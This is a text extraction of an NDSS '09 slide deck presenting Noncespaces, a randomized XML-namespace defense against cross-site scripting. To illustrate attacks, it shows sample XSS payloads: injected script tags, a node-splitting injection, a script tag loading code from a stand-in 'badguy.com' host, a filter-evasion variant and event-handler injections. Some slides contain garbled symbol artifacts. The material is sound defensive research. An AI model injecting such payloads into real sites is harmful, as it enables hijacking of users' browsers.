noncespaces using randomization to enforce information
play

Noncespaces: Using Randomization to Enforce Information Flow - PowerPoint PPT Presentation

Noncespaces: Using Randomization to Enforce Information Flow Tracking and Thwart Cross-Site Scripting Attacks Matthew Van Gundy and Hao Chen University of California, Davis 16th Annual Network & Distributed System Security Symposium


  1. Noncespaces: Using Randomization to Enforce Information Flow Tracking and Thwart Cross-Site Scripting Attacks Matthew Van Gundy and Hao Chen University of California, Davis 16th Annual Network & Distributed System Security Symposium Noncespaces NDSS ’09

  2. Cross-Site Scripting (XSS) Vulnerabilities Noncespaces NDSS ’09

  3. Cross-Site Scripting (XSS) Vulnerabilities <p class=’comment’> { $comment } </p> Noncespaces NDSS ’09

  4. Cross-Site Scripting (XSS) Vulnerabilities <p class=’comment’> Great Article! </p> Noncespaces NDSS ’09

  5. Cross-Site Scripting (XSS) Vulnerabilities <p class=’comment’> <script>p0wn()</script> </p> Noncespaces NDSS ’09

  6. Cross-Site Scripting (XSS) Vulnerabilities <p class=’comment’> </p> <script>p0wn()</script> <p> </p> Noncespaces NDSS ’09

  7. Threat Model ◮ An attacker can submit arbitrary content to XSS-vulnerable applications ◮ An attacker cannot compromise web server or browser directly ◮ Malicious content must contain XHTML tags and attributes Noncespaces NDSS ’09

  8. Limitations of Existing Solutions Server-side ◮ Server sanitizes untrusted data before sending it to the client ◮ Client may interpret data in an unexpected way ◮ E.g. Server replaces "<script>" with "" But attacker injects <script/xss> Client-side ◮ Client enforces a server-specified policy Challenges ◮ The client must know whether to trust content ◮ Attacker must not be able to forge trust metadata Noncespaces NDSS ’09

  9. Noncespaces Architecture ◮ Server partitions content into trust classes ◮ Server randomizes document to prevent forging of trust classification ◮ Server specifies policy of content permitted for each trust class ◮ Client displays the document only if it conforms to the policy Noncespaces NDSS ’09

  10. Namespaces in XML ◮ In (X)HTML: <q> = quote, <a> = anchor Noncespaces NDSS ’09

  11. Namespaces in XML ◮ In (X)HTML: <q> = quote, <a> = anchor ◮ In FAQML: <q> = question, <a> = answer Noncespaces NDSS ’09

  12. Namespaces in XML ◮ In (X)HTML: <q> = quote, <a> = anchor ◮ In FAQML: <q> = question, <a> = answer ◮ XHTML quote = ( "http://www.w3.org/1999/xhtml" , "q" ) Noncespaces NDSS ’09

  13. Namespaces in XML ◮ In (X)HTML: <q> = quote, <a> = anchor ◮ In FAQML: <q> = question, <a> = answer ◮ XHTML quote = ( "http://www.w3.org/1999/xhtml" , "q" ) ◮ FAQML question = ( "urn:FAQML" , "q" ) Noncespaces NDSS ’09

  14. Namespaces in XML ◮ In (X)HTML: <q> = quote, <a> = anchor ◮ In FAQML: <q> = question, <a> = answer ◮ XHTML quote = ( "http://www.w3.org/1999/xhtml" , "q" ) ◮ FAQML question = ( "urn:FAQML" , "q" ) ◮ < x ���� xmlns : x = ” http : // www . w3 . org / 1999 / xhtml � ” > ���� : q � �� Noncespaces NDSS ’09

  15. Namespaces in XML ◮ In (X)HTML: <q> = quote, <a> = anchor ◮ In FAQML: <q> = question, <a> = answer ◮ XHTML quote = ( "http://www.w3.org/1999/xhtml" , "q" ) ◮ FAQML question = ( "urn:FAQML" , "q" ) ◮ < x ���� xmlns : x = ” http : // www . w3 . org / 1999 / xhtml ” > ���� : q � �� � NamespaceURI Noncespaces NDSS ’09

  16. Namespaces in XML ◮ In (X)HTML: <q> = quote, <a> = anchor ◮ In FAQML: <q> = question, <a> = answer ◮ XHTML quote = ( "http://www.w3.org/1999/xhtml" , "q" ) ◮ FAQML question = ( "urn:FAQML" , "q" ) ◮ < x ���� xmlns : x = ” http : // www . w3 . org / 1999 / xhtml ” > : q ���� � �� � prefix NamespaceURI Noncespaces NDSS ’09

  17. Namespaces in XML ◮ In (X)HTML: <q> = quote, <a> = anchor ◮ In FAQML: <q> = question, <a> = answer ◮ XHTML quote = ( "http://www.w3.org/1999/xhtml" , "q" ) ◮ FAQML question = ( "urn:FAQML" , "q" ) ◮ < x xmlns : x = ” http : // www . w3 . org / 1999 / xhtml ” > : q ���� ���� � �� � prefix name NamespaceURI Noncespaces NDSS ’09

  18. Namespaces in XML ◮ In (X)HTML: <q> = quote, <a> = anchor ◮ In FAQML: <q> = question, <a> = answer ◮ XHTML quote = ( "http://www.w3.org/1999/xhtml" , "q" ) ◮ FAQML question = ( "urn:FAQML" , "q" ) ◮ < x xmlns : x = ” http : // www . w3 . org / 1999 / xhtml ” > : q ���� ���� � �� � prefix name NamespaceURI ◮ <f:q xmlns:f="urn:FAQML"> Noncespaces NDSS ’09

  19. Namespaces in XML ◮ In (X)HTML: <q> = quote, <a> = anchor ◮ In FAQML: <q> = question, <a> = answer ◮ XHTML quote = ( "http://www.w3.org/1999/xhtml" , "q" ) ◮ FAQML question = ( "urn:FAQML" , "q" ) ◮ < x xmlns : x = ” http : // www . w3 . org / 1999 / xhtml ” > : q ���� ���� � �� � prefix name NamespaceURI ◮ <f:q xmlns:f="urn:FAQML"> ◮ <faq:q xmlns:faq="urn:FAQML"> Noncespaces NDSS ’09

  20. Defeating Node Splitting ◮ <x:a>...</x:a> Noncespaces NDSS ’09

  21. Defeating Node Splitting ◮ <x:a>...</x:a> ◮ <x:a>... </a> Noncespaces NDSS ’09

  22. Defeating Node Splitting ◮ <x:a>...</x:a> ◮ <x:a>... </a> ◮ <x:a>... </y:a> Noncespaces NDSS ’09

  23. Encoding Trust Classifications ◮ Trusted <a> Noncespaces NDSS ’09

  24. Encoding Trust Classifications ◮ Trusted <a> ⇒ <t:a> Noncespaces NDSS ’09

  25. Encoding Trust Classifications ◮ Trusted <a> ⇒ <t:a> ◮ Untrusted <a> Noncespaces NDSS ’09

  26. Encoding Trust Classifications ◮ Trusted <a> ⇒ <t:a> ◮ Untrusted <a> ◮ Randomly choose trusted prefixes to prevent forgery Noncespaces NDSS ’09

  27. Web Page Before Noncespaces <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>nile.com : ++Shopping</title> </head> <body> <h1 id="title"> { $item->name } </h1> <h2>Reviews</h2> <p class=’review’> { $review } </p> </body> </html> Noncespaces NDSS ’09

  28. Node Splitting Attack After Noncespaces <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <r617:html xmlns="http://www.w3.org/1999/xhtml" xmlns:r617="http://www.w3.org/1999/xhtml"> <r617:head> <r617:title>nile.com : ++Shopping</r617:title> </r617:head> <r617:body> <r617:h1 r617:id="title">Useless Do-dad</r617:h1> <r617:h2>Reviews</r617:h2> <r617:p r617:class=’review’> </p> <script>p0wn()</script> <p> </r617:p> </r617:body> </r617:html> Noncespaces NDSS ’09

  29. XSS Attack After Noncespaces <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <r617:html xmlns="http://www.w3.org/1999/xhtml" xmlns:r617="http://www.w3.org/1999/xhtml"> <r617:head> <r617:title>nile.com : ++Shopping</r617:title> </r617:head> <r617:body> <r617:h1 r617:id="title">Useless Do-dad</r617:h1> <r617:h2>Reviews</r617:h2> <r617:p r617:class=’review’> <script src=’http://badguy.com/p0wn.js’ /> </r617:p> </r617:body> </r617:html> Noncespaces NDSS ’09

  30. Need for a client-side policy Innocuous Input <b>WARNING:</b> Noncespaces NDSS ’09

  31. Need for a client-side policy Innocuous Input <b>WARNING:</b> <em>very</em> important Noncespaces NDSS ’09

  32. Need for a client-side policy Innocuous Input <b>WARNING:</b> <em>very</em> important <a href=’http://useful.com/’>[1]</a> Noncespaces NDSS ’09

  33. Need for a client-side policy Innocuous Input <b>WARNING:</b> <em>very</em> important <a href=’http://useful.com/’>[1]</a> Malicious Input <b onmouseover=’...’ >WARNING:</b> Noncespaces NDSS ’09

  34. Need for a client-side policy Innocuous Input <b>WARNING:</b> <em>very</em> important <a href=’http://useful.com/’>[1]</a> Malicious Input <b onmouseover=’...’ >WARNING:</b> <em onclick=’...’ >very</em> important Noncespaces NDSS ’09

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend